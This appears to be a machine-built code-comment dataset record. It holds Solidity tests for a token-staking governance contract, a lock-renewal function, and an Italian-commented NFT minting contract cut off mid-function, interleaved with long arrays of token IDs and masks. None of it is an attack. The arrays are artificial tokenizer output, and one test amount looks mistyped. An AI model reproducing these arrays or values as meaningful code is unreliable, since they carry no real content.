testFail_ShouldNotBeAbleToVoteOnSameBlockAsProposalCreation() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); // 112 200 000 UserAccount user1 = newUserAccount(madToken, stakeNFT, governanceManager); madToken.approve(address(stakeNFT), 112200000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user1), 112200000 * 10**18, 1); user1.voteAsStaker(proposalID, tokenID); } function testFail_TryVoteAfterProposalHasExpired() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); setBlockNumber(block.number + 172800 + 1); UserAccount user1 = newUserAccount(madToken, stakeNFT, governanceManager); madToken.approve(address(stakeNFT), 112200000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user1), 112200000 * 10**18, 1); user1.voteAsStaker(proposalID, tokenID); } function testFail_TryVoteOnExecutedProposal() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); // We can only vote after 1 block has passed from the proposal creation setBlockNumber(block.number +1); // voting threshold = 112_200_000 * 10**18 shares UserAccount user1 = newUserAccount(madToken, stakeNFT, governanceManager); madToken.approve(address(stakeNFT), 112_201_000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user1), 112_200_000 * 10**18, 1); uint256 tokenID2 = stakeNFT.mintTo(address(user1), 1000 * 10**18, 1); user1.voteAsStaker(proposalID, tokenID); governanceManager.execute(proposalID); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( true, address(logic), 112_200_000 * 10**18, 172800 ) ); assertTrue(governanceManager.isProposalExecuted(proposalID)); user1.voteAsStaker(proposalID, tokenID2); } function testSameUserVoteWithDifferentPositions() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); setBlockNumber(block.number + 1); UserAccount user1 = newUserAccount(madToken, stakeNFT, governanceManager); madToken.approve(address(stakeNFT), 112_200_000 * 10**18); for (uint256 i =0; i < 10; i++){ uint256 tokenID = stakeNFT.mintTo(address(user1), 112_20_000 * 10**18, 1); user1.voteAsStaker(proposalID, tokenID); } } function testFail_SameUserVoteWithSamePosition() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); setBlockNumber(block.number + 1); UserAccount user1 = newUserAccount(madToken, stakeNFT, governanceManager); madToken.approve(address(stakeNFT), 112_200_000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user1), 112_200_000 * 10**18, 1); user1.voteAsStaker(proposalID, tokenID); user1.voteAsStaker(proposalID, tokenID); } function testFail_UserVoteWithNotOwnedPosition() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); setBlockNumber(block.number + 1); UserAccount user1 = newUserAccount(madToken, stakeNFT, governanceManager); UserAccount user2 = newUserAccount(madToken, stakeNFT, governanceManager); madToken.approve(address(stakeNFT), 200_000_000 * 10**18); uint256 tokenID1 = stakeNFT.mintTo(address(user1), 100_200_000 * 10**18, 1); uint256 tokenID2 = stakeNFT.mintTo(address(user2), 12_000_000 * 10**18, 1); user1.voteAsStaker(proposalID, tokenID1); user1.voteAsStaker(proposalID, tokenID2); } function testExecuteProposal() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); emit log_named_address("dummy:", address(dummy)); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); // We can only vote after 1 block has passed from the proposal creation setBlockNumber(block.number +1); for (uint256 i =0; i < 10; i++){ UserAccount user = newUserAccount(madToken, stakeNFT, governanceManager); madToken.approve(address(stakeNFT), 11_220_000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user), 11_220_000 * 10**18, 1); user.voteAsStaker(proposalID, tokenID); } governanceManager.execute(proposalID); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( true, address(logic), 112_200_000 * 10**18, 172800 ) ); assertTrue(governanceManager.isProposalExecuted(proposalID)); } function testVoteAndExecuteMultipleProposal() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic1 = new MockProposalLogic(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); MockProposalLogic logic2 = new MockProposalLogic(); emit log_named_address("dummy:", address(dummy)); uint256 proposalID1 = governanceManager.propose(address(logic1)); assertProposal( governanceManager.getProposal(proposalID1), GovernanceStorage.Proposal( false, address(logic1), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID1)); uint256 proposalID2 = governanceManager.propose(address(logic2)); assertProposal( governanceManager.getProposal(proposalID2), GovernanceStorage.Proposal( false, address(logic2), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID2)); // We can only vote after 1 block has passed from the proposal creation setBlockNumber(block.number+1); for (uint256 i =0; i < 10; i++){ UserAccount user = newUserAccount(madToken, stakeNFT, governanceManager); madToken.approve(address(stakeNFT), 11_220_000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user), 11_220_000 * 10**18, 1); user.voteAsStaker(proposalID1, tokenID); user.voteAsStaker(proposalID2, tokenID); } governanceManager.execute(proposalID1); assertProposal( governanceManager.getProposal(proposalID1), GovernanceStorage.Proposal( true, address(logic1), 112_200_000 * 10**18, 172800 ) ); assertTrue(governanceManager.isProposalExecuted(proposalID1)); governanceManager.execute(proposalID2); assertProposal( governanceManager.getProposal(proposalID2), GovernanceStorage.Proposal( true, address(logic2), 112_200_000 * 10**18, 172800 ) ); assertTrue(governanceManager.isProposalExecuted(proposalID2)); } function testExecuteProposalWhereSameUserVotesAsMinerAndStaker() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); // We can only vote after 1 block has passed from the proposal creation setBlockNumber(block.number +1); UserAccount[10] memory users; madToken.approve(address(minerStake), 112_200_000 * 10**18); madToken.approve(address(stakeNFT), 112_200_000 * 10**18); for (uint256 i =0; i < 10; i++){ users[i] = newUserAccount(madToken, minerStake, governanceManager); uint256 minerTokenId = minerStake.mintTo(address(users[i]), 5_610_000 * 10**18, 1); emit log_named_uint("miner token", minerTokenId); uint256 stakeTokenId = stakeNFT.mintTo(address(users[i]), 5_610_000 * 10**18, 1); emit log_named_uint("stake token", stakeTokenId); assertEq(minerTokenId, stakeTokenId); } for (uint256 i =0; i < 10; i++){ users[i].voteAsMiner(proposalID, i+1); users[i].voteAsStaker(proposalID, i+1); } governanceManager.execute(proposalID); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( true, address(logic), 112_200_000 * 10**18, 172800 ) ); assertTrue(governanceManager.isProposalExecuted(proposalID)); } function testFail_TryToExecuteNonExistingProposalId() public { (,,,,GovernanceManager governanceManager) = getFixtureData(); governanceManager.execute(1000); } function testFail_ExecuteProposalWithoutVotingThreshold() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); setBlockNumber(block.number + 172800 + 1); governanceManager.execute(proposalID); } function testFail_ExecuteAgainExecutedProposal() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); // We can only vote after 1 block has passed from the proposal creation setBlockNumber(block.number +1); // voting threshold = 112_200_000 * 10**18 shares UserAccount user1 = newUserAccount(madToken, stakeNFT, governanceManager); madToken.approve(address(stakeNFT), 112_200_000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user1), 112_200_000 * 10**18, 1); user1.voteAsStaker(proposalID, tokenID); governanceManager.execute(proposalID); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( true, address(logic), 112_200_000 * 10**18, 172800 ) ); assertTrue(governanceManager.isProposalExecuted(proposalID)); governanceManager.execute(proposalID); } function testFail_TryToExecuteProposalThatReverts() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogicFailedLogic logic = new MockProposalLogicFailedLogic(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); // We can only vote after 1 block has passed from the proposal creation setBlockNumber(block.number +1); // voting threshold = 112_200_000 * 10**18 shares UserAccount user1 = newUserAccount(madToken, stakeNFT, governanceManager); madToken.approve(address(stakeNFT), 112_200_000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user1), 112_200_000 * 10**18, 1); user1.voteAsStaker(proposalID, tokenID); governanceManager.execute(proposalID); } function testExecuteProposalThatModifyStorage() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalChangeGovernanceManagerStorage logic = new MockProposalChangeGovernanceManagerStorage(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); // We can only vote after 1 block has passed from the proposal creation setBlockNumber(block.number +1); // voting threshold = 112_200_000 * 10**18 shares UserAccount user1 = newUserAccount(madToken, stakeNFT, governanceManager); emit log_named_address("Address:", address(user1)); madToken.approve(address(stakeNFT), 220_000_000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user1), 112_200_000 * 10**18, 1); user1.voteAsStaker(proposalID, tokenID); // executing proposal that changes the stage. After execution, user // should be able to vote again in the proposal, we will be able to // rerun the proposal again, the stake and miner stake token should be // address 0, and threshold should be 1. governanceManager.execute(proposalID); assertTrue(!governanceManager.isProposalExecuted(proposalID)); assertEq(governanceManager.getMinerStakeTokenAddress(), address(0x0)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(0x0), 0, 666 ) ); user1.voteAsStaker(proposalID, tokenID); governanceManager.execute(proposalID); // Changing the Stake address (zero address) MockProposalChangeGovernanceManagerStorageStake logic2 = new MockProposalChangeGovernanceManagerStorageStake(); uint256 proposalID2 = governanceManager.propose(address(logic2)); setBlockNumber(block.number +10); assertTrue(!governanceManager.isProposalExecuted(proposalID2)); user1.voteAsStaker(proposalID2, tokenID); governanceManager.execute(proposalID2); assertEq(governanceManager.getStakeTokenAddress(), address(0x0)); } function testExecuteGovernanceAllowedProposal() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogicWithAllowedProposals logic = new MockProposalLogicWithAllowedProposals(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); emit log_named_address("Address dummy:", address(dummy)); NoGovernanceDelegateCall dummyDelegate = new NoGovernanceDelegateCall(); emit log_named_address("Address dummy delegate:", address(dummyDelegate)); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); // We can only vote after 1 block has passed from the proposal creation setBlockNumber(block.number +1); // voting threshold = 112_200_000 * 10**18 shares UserAccount user1 = newUserAccount(madToken, stakeNFT, governanceManager); emit log_named_address("Address:", address(user1)); madToken.approve(address(stakeNFT), 220_000_000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user1), 112_200_000 * 10**18, 1); user1.voteAsStaker(proposalID, tokenID); assertEq(governanceManager.allowedProposal(), address(0x0)); governanceManager.execute(proposalID); assertTrue(governanceManager.isProposalExecuted(proposalID)); assertEq(governanceManager.allowedProposal(), address(0x0)); } function testFail_ExecuteGovernanceWithoutAllowedProposal() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogicWithOutAllowedProposals logic = new MockProposalLogicWithOutAllowedProposals(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); emit log_named_address("Address dummy:", address(dummy)); NoGovernanceDelegateCall dummyDelegate = new NoGovernanceDelegateCall(); emit log_named_address("Address dummy delegate:", address(dummyDelegate)); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); // We can only vote after 1 block has passed from the proposal creation setBlockNumber(block.number +1); // voting threshold = 112_200_000 * 10**18 shares UserAccount user1 = newUserAccount(madToken, stakeNFT, governanceManager); emit log_named_address("Address:", address(user1)); madToken.approve(address(stakeNFT), 220_000_000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user1), 112_200_000 * 10**18, 1); user1.voteAsStaker(proposalID, tokenID); assertEq(governanceManager.allowedProposal(), address(0x0)); governanceManager.execute(proposalID); } }
We can only vote after 1 block has passed from the proposal creation voting threshold = 112_200_000 * 10**18 shares
function testFail_TryVoteOnExecutedProposal() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); setBlockNumber(block.number +1); UserAccount user1 = newUserAccount(madToken, stakeNFT, governanceManager); madToken.approve(address(stakeNFT), 112_201_000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user1), 112_200_000 * 10**18, 1); uint256 tokenID2 = stakeNFT.mintTo(address(user1), 1000 * 10**18, 1); user1.voteAsStaker(proposalID, tokenID); governanceManager.execute(proposalID); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( true, address(logic), 112_200_000 * 10**18, 172800 ) ); assertTrue(governanceManager.isProposalExecuted(proposalID)); user1.voteAsStaker(proposalID, tokenID2); }
6,387,421
[ 1, 3218, 848, 1338, 12501, 1839, 404, 1203, 711, 2275, 628, 326, 14708, 6710, 331, 17128, 5573, 273, 23543, 67, 6976, 67, 3784, 225, 13822, 28, 24123, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1842, 3754, 67, 7833, 19338, 1398, 23839, 14592, 1435, 1071, 288, 203, 3639, 261, 203, 5411, 934, 911, 50, 4464, 384, 911, 50, 4464, 16, 203, 5411, 5444, 264, 510, 911, 1131, 264, 510, 911, 16, 203, 5411, 490, 361, 1345, 9865, 312, 361, 1345, 16, 203, 5411, 7807, 3032, 3981, 16, 203, 5411, 611, 1643, 82, 1359, 1318, 314, 1643, 82, 1359, 1318, 203, 3639, 262, 273, 2812, 697, 10970, 751, 5621, 203, 203, 3639, 7867, 14592, 20556, 4058, 273, 394, 7867, 14592, 20556, 5621, 203, 3639, 7867, 43, 1643, 82, 1359, 3386, 1803, 9609, 273, 394, 7867, 43, 1643, 82, 1359, 3386, 1803, 12, 2867, 12, 75, 1643, 82, 1359, 1318, 10019, 203, 203, 3639, 2254, 5034, 14708, 734, 273, 314, 1643, 82, 1359, 1318, 18, 685, 4150, 12, 2867, 12, 28339, 10019, 203, 3639, 1815, 14592, 12, 203, 5411, 314, 1643, 82, 1359, 1318, 18, 588, 14592, 12, 685, 8016, 734, 3631, 203, 5411, 611, 1643, 82, 1359, 3245, 18, 14592, 12, 203, 7734, 629, 16, 203, 7734, 1758, 12, 28339, 3631, 203, 7734, 374, 16, 203, 7734, 8043, 6030, 713, 203, 5411, 262, 203, 3639, 11272, 203, 3639, 1815, 5510, 12, 5, 75, 1643, 82, 1359, 1318, 18, 291, 14592, 23839, 12, 685, 8016, 734, 10019, 203, 3639, 444, 1768, 1854, 12, 2629, 18, 2696, 397, 21, 1769, 203, 3639, 2177, 3032, 729, 21, 273, 394, 1299, 3032, 12, 81, 361, 1345, 16, 384, 911, 50, 4464, 16, 314, 1643, 82, 1359, 1318, 1769, 203, 3639, 312, 361, 2 ]
./full_match/1/0xFF7D9E718a43Ef51A31557227e0cC8e7d65D7a2D/sources/contracts/tokenomics/TORUSLockerV2.sol
@notice Relock specified locks @param lockIds Ids of the locks to relock. @param lockTime Duration for which the locks's TORUS amount should be relocked for.
function relockMultiple(uint64[] calldata lockIds, uint64 lockTime) external override { require(!isShutdown, "locker suspended"); require((_MIN_LOCK_TIME <= lockTime) && (lockTime <= _MAX_LOCK_TIME), "lock time invalid"); _feeCheckpoint(msg.sender); for (uint256 i; i < lockIds.length; i++) { _relock(lockIds[i], lockTime); } }
2,986,428
[ 1, 1971, 975, 1269, 13046, 225, 2176, 2673, 29085, 434, 326, 13046, 358, 283, 739, 18, 225, 2176, 950, 4822, 364, 1492, 326, 13046, 1807, 399, 916, 3378, 3844, 1410, 506, 283, 15091, 364, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 283, 739, 8438, 12, 11890, 1105, 8526, 745, 892, 2176, 2673, 16, 2254, 1105, 2176, 950, 13, 3903, 3849, 288, 203, 3639, 2583, 12, 5, 291, 10961, 16, 315, 739, 264, 21850, 8863, 203, 3639, 2583, 12443, 67, 6236, 67, 6589, 67, 4684, 1648, 2176, 950, 13, 597, 261, 739, 950, 1648, 389, 6694, 67, 6589, 67, 4684, 3631, 315, 739, 813, 2057, 8863, 203, 3639, 389, 21386, 14431, 12, 3576, 18, 15330, 1769, 203, 3639, 364, 261, 11890, 5034, 277, 31, 277, 411, 2176, 2673, 18, 2469, 31, 277, 27245, 288, 203, 5411, 389, 266, 739, 12, 739, 2673, 63, 77, 6487, 2176, 950, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT /** °° °° °° °°° ######### ### ####### ######. °°°° °° °° °° °° ## ## ## ## ## ## °° °° °° °° °° °° ## ## ## ####### #### °°°°°°°° °° °° °° °° ## ## #### ## ## ## ## °° °° °° °° °° °° ## ## ## ## ## . # °° °° °°° °°° ## ## ## ## ## ###### */ pragma solidity ^0.8.7; import 'erc721a/contracts/ERC721A.sol'; import '@openzeppelin/contracts/utils/introspection/IERC165.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; contract AVOTARS is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; mapping(address => bool) public whitelisted; string public baseURI = "ipfs://QmQzHtuMZxLJiFdALzxXrEtypwG5q7sj4ADb8UGY4xx3zm/"; uint256 public price; uint256 public maxAmountForAddress; uint256 public maxSupply = 10; bool public paused = false; bool public revealed = false; bool public whitelistMintEnabled = false; constructor() ERC721A("AVOTAR", "AVT") {} // imposta prezzo function setPrice (uint256 _price) public onlyOwner { price = _price; } function setMaxAmounthForAddress (uint256 _maxAmountForAddress) public onlyOwner { maxAmountForAddress = _maxAmountForAddress; } // un tipo di funzione che controlla prima se la quantità data in input rispetta i limiti imposti // questa funzione verà richiamata nelle funzioni di mint modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxAmountForAddress, "Invalid mint amount!"); require(totalSupply() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } // un tipo di funzione che verifica se i fonfi presenti nel wallet sono suficienti per acquistare la quantità scelta di nft // questa funzione verà richiamata nelle funzioni di mint modifier mintPriceAVOTAR(uint256 _mintAmount) { require(msg.value >= price * _mintAmount, "Insufficient funds!"); _; } // la funzione permette di mintare solo a chi è nella WL function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceAVOTAR(_mintAmount) { require(!paused, "The contract is paused!"); require(whitelistMintEnabled, "The whitelist sale is not enabled!"); require(!whitelisted[_msgSender()], "Address already claimed!"); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid proof!"); whitelisted[_msgSender()] = true; // il mitente è nella WL _safeMint(_msgSender(), _mintAmount); // viene salvata la quantità del mint } // la funzione è riservata al mint publico function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceAVOTAR(_mintAmount) { require(!paused, "The contract is paused!"); _safeMint(_msgSender(), _mintAmount); } //ONLY OWNER // la funzione è riservata per il mint del proprietario function Owner_mint(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _safeMint(_receiver, _mintAmount); } // imposta l'uri dei metadata nascosti function _baseURI() internal view override returns (string memory) { return baseURI; } // una volta clicato reveal gli nft vengono rivelati e non è possibile nasconderli più function reveal(bool _revealed) public onlyOwner { revealed = _revealed; } function changeBaseURI(string memory changeURI) public onlyOwner { baseURI = changeURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory changeURI = _baseURI(); if (revealed) { return bytes(changeURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : ""; } else { return string(abi.encodePacked(changeURI, ".json")); } } // imposta lo stato del contratto se è in pausa allora paused = true e viceversa function setPaused(bool _state) public onlyOwner { paused = _state; } // imposta la radice dell'albero di Markle contenente gli hash degli address di collloro che sono nella WL function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { merkleRoot = _merkleRoot; } // imposta lo stato del mint per chi è nella WL abile = true e viceversa function setWhitelistMintEnabled(bool _state) public onlyOwner { whitelistMintEnabled = _state; } // tipica funzione di ERC721A che verifica il balance del address dato in output // alla variabile ownerTokenCount viene attribuito il valore del balans del address dato in input // viene memorizzata la quantità dei token con il loro id presenti nel balanc del address dato in input function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = _startTokenId(); uint256 ownedTokenIndex = 0; address latestOwnerAddress; // mentre vengono rispettate le condizioni vengono memorizzati i correnti token id while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { TokenOwnership memory ownership = _ownerships[currentTokenId]; // se la proprieta viene bruciata e l'address del proprietario è diverso da 0 // allora il valore dell'address del proprietario che ha brucciato viene 